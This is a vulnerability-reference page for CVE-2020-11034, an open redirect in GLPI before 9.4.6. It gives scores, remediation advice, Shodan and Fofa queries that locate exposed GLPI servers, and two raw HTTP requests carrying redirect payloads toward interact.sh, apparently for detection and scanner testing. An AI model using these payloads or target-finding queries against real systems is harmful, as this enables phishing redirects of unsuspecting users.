🔙 목록으로 돌아가기

CVE-2020-11034: GLPI <9.4.6 - Open Redirect

TitleGLPI <9.4.6 - Open Redirect
Authorpikpikcu
SeverityMedium
ImpactAn attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks.
RemediationUpgrade to version 9.4.6 or later.
CVSS Score6.1
EPSS Score0.55796
CVE IDCVE-2020-11034
CWE IDCWE-601,CWE-185
Shodan Queryhttp.title:"glpi"http.favicon.hash:"-1474875778"
Fofa Queryicon_hash="-1474875778"title="glpi"
Tags cve cve2020 redirect glpi glpi-project vuln

🔍 Vulnerability Description

GLPI prior 9.4.6 contains an open redirect vulnerability based on a regexp.

🌐 HTTP Request

GET /index.php?redirect=/\/interact.sh/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.9 Mobile/15E148 Safari/604.1
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /index.php?redirect=//interact.sh HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-11034.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-11034.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A